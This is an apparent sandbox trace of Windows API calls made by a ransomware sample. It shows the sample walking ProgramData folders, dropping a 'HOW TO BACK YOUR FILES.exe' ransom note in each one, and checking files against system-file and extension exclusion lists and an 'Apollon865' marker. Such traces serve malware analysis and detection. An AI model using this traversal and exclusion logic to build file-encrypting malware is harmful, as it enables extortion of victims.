	[0050.682] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0050.682] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Oracle\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7e3c6d00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x2f6d1090, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f6d1090, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca550
	[0050.683] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.683] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0050.683] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0050.683] FindNextFileW (in: hFindFile=0x5ca550, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7e3c6d00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x2f6d1090, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f6d1090, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.683] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.683] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0050.683] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0050.683] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0050.683] FindNextFileW (in: hFindFile=0x5ca550, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2f6d1090, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f6d1090, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0050.683] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0050.683] FindNextFileW (in: hFindFile=0x5ca550, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2f6d1090, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f6d1090, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0050.683] FindClose (in: hFindFile=0x5ca550 | out: hFindFile=0x5ca550) returned 1
	[0050.683] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7a70
	[0050.683] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\ProgramData\\Mozilla", iMaxLength=260 | out: lpString1="C:\\ProgramData\\Mozilla") returned="C:\\ProgramData\\Mozilla"
	[0050.683] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7e60 | out: hHeap=0x580000) returned 1
	[0050.683] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7a68 | out: hHeap=0x580000) returned 1
	[0050.683] lstrlenW (lpString="C:\\ProgramData\\Mozilla") returned 22
	[0050.683] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Mozilla" | out: lpString1="C:\\ProgramData\\Mozilla") returned="C:\\ProgramData\\Mozilla"
	[0050.683] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0050.683] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Mozilla\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\mozilla\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0050.684] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0050.684] GetLastError () returned 0x0
	[0050.684] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0050.684] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0050.684] CloseHandle (hObject=0x15c) returned 1
	[0050.684] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0050.684] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0050.684] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Mozilla\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xaf8556a0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x2f6d1090, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f6d1090, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca550
	[0050.684] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.684] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0050.684] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0050.684] FindNextFileW (in: hFindFile=0x5ca550, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xaf8556a0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x2f6d1090, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f6d1090, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.684] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.684] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0050.684] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0050.684] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0050.684] FindNextFileW (in: hFindFile=0x5ca550, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2f6d1090, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f6d1090, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0050.684] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0050.684] FindNextFileW (in: hFindFile=0x5ca550, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xaf8556a0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x2f6f71f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f6f71f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="logs", cAlternateFileName="")) returned 1
	[0050.684] lstrcmpiW (lpString1="logs", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0050.685] lstrcmpiW (lpString1="logs", lpString2="Apollon865.txt.exe") returned 1
	[0050.685] lstrcmpiW (lpString1="logs", lpString2=".") returned 1
	[0050.685] lstrcmpiW (lpString1="logs", lpString2="..") returned 1
	[0050.685] lstrcmpiW (lpString1="logs", lpString2="windows") returned -1
	[0050.685] lstrcmpiW (lpString1="logs", lpString2="bootmgr") returned 1
	[0050.685] lstrcmpiW (lpString1="logs", lpString2="temp") returned -1
	[0050.685] lstrcmpiW (lpString1="logs", lpString2="pagefile.sys") returned -1
	[0050.685] lstrcmpiW (lpString1="logs", lpString2="boot") returned 1
	[0050.685] lstrcmpiW (lpString1="logs", lpString2="ids.txt") returned 1
	[0050.685] lstrcmpiW (lpString1="logs", lpString2="ntuser.dat") returned -1
	[0050.685] lstrcmpiW (lpString1="logs", lpString2="perflogs") returned -1
	[0050.685] lstrcmpiW (lpString1="logs", lpString2="MSBuild") returned -1
	[0050.685] lstrlenW (lpString="logs") returned 4
	[0050.685] lstrlenW (lpString="C:\\ProgramData\\Mozilla\\*") returned 24
	[0050.685] lstrcpyW (in: lpString1=0x2d3e57e, lpString2="logs" | out: lpString1="logs") returned="logs"
	[0050.685] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7a68
	[0050.685] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x38) returned 0x5ca510
	[0050.685] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7a70 | out: ListHead=0x5b76b0, ListEntry=0x5b7a70) returned 0x5b7a50
	[0050.685] FindNextFileW (in: hFindFile=0x5ca550, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xaf8556a0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x2f6f71f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f6f71f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="logs", cAlternateFileName="")) returned 0
	[0050.685] FindClose (in: hFindFile=0x5ca550 | out: hFindFile=0x5ca550) returned 1
	[0050.685] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7a70
	[0050.685] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\ProgramData\\Mozilla\\logs", iMaxLength=260 | out: lpString1="C:\\ProgramData\\Mozilla\\logs") returned="C:\\ProgramData\\Mozilla\\logs"
	[0050.685] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ca510 | out: hHeap=0x580000) returned 1
	[0050.685] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7a68 | out: hHeap=0x580000) returned 1
	[0050.685] lstrlenW (lpString="C:\\ProgramData\\Mozilla\\logs") returned 27
	[0050.685] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Mozilla\\logs" | out: lpString1="C:\\ProgramData\\Mozilla\\logs") returned="C:\\ProgramData\\Mozilla\\logs"
	[0050.685] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0050.685] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Mozilla\\logs\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\mozilla\\logs\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0050.686] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0050.686] GetLastError () returned 0x0
	[0050.686] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0050.686] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0050.686] CloseHandle (hObject=0x15c) returned 1
	[0050.686] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0050.686] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0050.686] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Mozilla\\logs\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xaf8556a0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x2f6f71f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f6f71f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca510
	[0050.686] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.686] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0050.686] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0050.686] FindNextFileW (in: hFindFile=0x5ca510, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xaf8556a0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x2f6f71f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f6f71f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.687] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.687] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0050.687] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0050.687] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0050.687] FindNextFileW (in: hFindFile=0x5ca510, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2f6f71f0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f6f71f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0050.687] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0050.687] FindNextFileW (in: hFindFile=0x5ca510, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xaf8556a0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf8556a0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb07822e0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0xa4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="maintenanceservice-install.log", cAlternateFileName="MAINTE~1.LOG")) returned 1
	[0050.687] lstrcmpiW (lpString1="maintenanceservice-install.log", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0050.687] lstrcmpiW (lpString1="maintenanceservice-install.log", lpString2="Apollon865.txt.exe") returned 1
	[0050.687] lstrcmpiW (lpString1="maintenanceservice-install.log", lpString2=".") returned 1
	[0050.687] lstrcmpiW (lpString1="maintenanceservice-install.log", lpString2="..") returned 1
	[0050.687] lstrcmpiW (lpString1="maintenanceservice-install.log", lpString2="windows") returned -1
	[0050.687] lstrcmpiW (lpString1="maintenanceservice-install.log", lpString2="bootmgr") returned 1
	[0050.687] lstrcmpiW (lpString1="maintenanceservice-install.log", lpString2="temp") returned -1
	[0050.687] lstrcmpiW (lpString1="maintenanceservice-install.log", lpString2="pagefile.sys") returned -1
	[0050.687] lstrcmpiW (lpString1="maintenanceservice-install.log", lpString2="boot") returned 1
	[0050.687] lstrcmpiW (lpString1="maintenanceservice-install.log", lpString2="ids.txt") returned 1
	[0050.687] lstrcmpiW (lpString1="maintenanceservice-install.log", lpString2="ntuser.dat") returned -1
	[0050.687] lstrcmpiW (lpString1="maintenanceservice-install.log", lpString2="perflogs") returned -1
	[0050.687] lstrcmpiW (lpString1="maintenanceservice-install.log", lpString2="MSBuild") returned -1
	[0050.687] lstrlenW (lpString="maintenanceservice-install.log") returned 30
	[0050.687] lstrlenW (lpString="C:\\ProgramData\\Mozilla\\logs\\*") returned 29
	[0050.687] lstrcpyW (in: lpString1=0x2d3e588, lpString2="maintenanceservice-install.log" | out: lpString1="maintenanceservice-install.log") returned="maintenanceservice-install.log"
	[0050.687] lstrlenW (lpString="maintenanceservice-install.log") returned 30
	[0050.687] lstrlenW (lpString="Apollon865") returned 10
	[0050.687] lstrcmpiW (lpString1="nstall.log", lpString2="Apollon865") returned 1
	[0050.687] lstrlenW (lpString=".dll") returned 4
	[0050.687] lstrcmpiW (lpString1="maintenanceservice-install.log", lpString2=".dll") returned 1
	[0050.687] lstrlenW (lpString=".lnk") returned 4
	[0050.687] lstrcmpiW (lpString1="maintenanceservice-install.log", lpString2=".lnk") returned 1
	[0050.687] lstrlenW (lpString=".ini") returned 4
	[0050.687] lstrcmpiW (lpString1="maintenanceservice-install.log", lpString2=".ini") returned 1
	[0050.687] lstrlenW (lpString=".sys") returned 4
	[0050.687] lstrcmpiW (lpString1="maintenanceservice-install.log", lpString2=".sys") returned 1
	[0050.688] lstrlenW (lpString="maintenanceservice-install.log") returned 30
	[0050.688] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\ProgramData\\Microsoft Help", iMaxLength=260 | out: lpString1="C:\\ProgramData\\Microsoft Help") returned="C:\\ProgramData\\Microsoft Help"
	[0050.688] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b62c8 | out: hHeap=0x580000) returned 1
	[0050.688] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7a48 | out: hHeap=0x580000) returned 1
	[0050.688] lstrlenW (lpString="C:\\ProgramData\\Microsoft Help") returned 29
	[0050.688] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Microsoft Help" | out: lpString1="C:\\ProgramData\\Microsoft Help") returned="C:\\ProgramData\\Microsoft Help"
	[0050.688] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0050.688] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Microsoft Help\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft help\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0050.688] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0050.688] GetLastError () returned 0x0
	[0050.688] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0050.688] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0050.688] CloseHandle (hObject=0x15c) returned 1
	[0050.689] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0050.689] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0050.689] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft Help\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe79db030, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0x2f6f71f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f6f71f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca510
	[0050.689] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.689] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0050.689] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0050.689] FindNextFileW (in: hFindFile=0x5ca510, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe79db030, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0x2f6f71f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f6f71f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.689] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.689] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0050.689] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0050.689] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0050.689] FindNextFileW (in: hFindFile=0x5ca510, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2f6f71f0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f6f71f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0050.689] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0050.689] FindNextFileW (in: hFindFile=0x5ca510, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x896b9210, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x896b9210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe8b8c220, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x186, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Hx.hxn", cAlternateFileName="")) returned 1
	[0050.689] lstrcmpiW (lpString1="Hx.hxn", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0050.689] lstrcmpiW (lpString1="Hx.hxn", lpString2="Apollon865.txt.exe") returned 1
	[0050.690] lstrcmpiW (lpString1="Hx.hxn", lpString2=".") returned 1
	[0050.690] lstrcmpiW (lpString1="Hx.hxn", lpString2="..") returned 1
	[0050.690] lstrcmpiW (lpString1="Hx.hxn", lpString2="windows") returned -1
	[0050.690] lstrcmpiW (lpString1="Hx.hxn", lpString2="bootmgr") returned 1
	[0050.690] lstrcmpiW (lpString1="Hx.hxn", lpString2="temp") returned -1
	[0050.690] lstrcmpiW (lpString1="Hx.hxn", lpString2="pagefile.sys") returned -1
	[0050.690] lstrcmpiW (lpString1="Hx.hxn", lpString2="boot") returned 1
	[0050.690] lstrcmpiW (lpString1="Hx.hxn", lpString2="ids.txt") returned -1
	[0050.690] lstrcpyW (in: lpString1=0x2d3e58c, lpString2="Hx.hxn" | out: lpString1="Hx.hxn") returned="Hx.hxn"
	[0050.690] lstrlenW (lpString="Hx.hxn") returned 6
	[0050.690] lstrlenW (lpString="Apollon865") returned 10
	[0050.690] lstrlenW (lpString=".dll") returned 4
	[0050.690] lstrcmpiW (lpString1="Hx.hxn", lpString2=".dll") returned 1
	[0050.690] lstrlenW (lpString=".lnk") returned 4
	[0050.690] lstrcmpiW (lpString1="Hx.hxn", lpString2=".lnk") returned 1
	[0050.690] lstrlenW (lpString=".ini") returned 4
	[0050.690] lstrcmpiW (lpString1="Hx.hxn", lpString2=".ini") returned 1
	[0050.690] lstrlenW (lpString=".sys") returned 4
	[0050.690] lstrcmpiW (lpString1="Hx.hxn", lpString2=".sys") returned 1
	[0050.690] lstrlenW (lpString="Hx.hxn") returned 6
	[0050.690] lstrcpyW (in: lpString1=0x2d3e58c, lpString2="MS.EXCEL.14.1033.hxn" | out: lpString1="MS.EXCEL.14.1033.hxn") returned="MS.EXCEL.14.1033.hxn"
	[0050.690] lstrlenW (lpString="MS.EXCEL.14.1033.hxn") returned 20
	[0050.690] lstrlenW (lpString="Apollon865") returned 10
	[0050.690] lstrcmpiW (lpString1="4.1033.hxn", lpString2="Apollon865") returned -1
	[0050.690] lstrlenW (lpString=".dll") returned 4
	[0050.690] lstrcmpiW (lpString1="MS.EXCEL.14.1033.hxn", lpString2=".dll") returned 1
	[0050.690] lstrlenW (lpString=".lnk") returned 4
	[0050.690] lstrcmpiW (lpString1="MS.EXCEL.14.1033.hxn", lpString2=".lnk") returned 1
	[0050.690] lstrlenW (lpString=".ini") returned 4
	[0050.690] lstrcmpiW (lpString1="MS.EXCEL.14.1033.hxn", lpString2=".ini") returned 1
	[0050.691] lstrlenW (lpString=".sys") returned 4
	[0050.691] lstrcmpiW (lpString1="MS.EXCEL.14.1033.hxn", lpString2=".sys") returned 1
	[0050.691] lstrlenW (lpString="MS.EXCEL.14.1033.hxn") returned 20
	[0050.691] lstrcpyW (in: lpString1=0x2d3e58c, lpString2="MS.EXCEL.DEV.14.1033.hxn" | out: lpString1="MS.EXCEL.DEV.14.1033.hxn") returned="MS.EXCEL.DEV.14.1033.hxn"
	[0050.691] lstrlenW (lpString="MS.EXCEL.DEV.14.1033.hxn") returned 24
	[0050.691] lstrlenW (lpString="Apollon865") returned 10
	[0050.691] lstrcmpiW (lpString1="4.1033.hxn", lpString2="Apollon865") returned -1
	[0050.691] lstrlenW (lpString=".dll") returned 4
	[0050.691] lstrcmpiW (lpString1="MS.EXCEL.DEV.14.1033.hxn", lpString2=".dll") returned 1
	[0050.691] lstrlenW (lpString=".lnk") returned 4
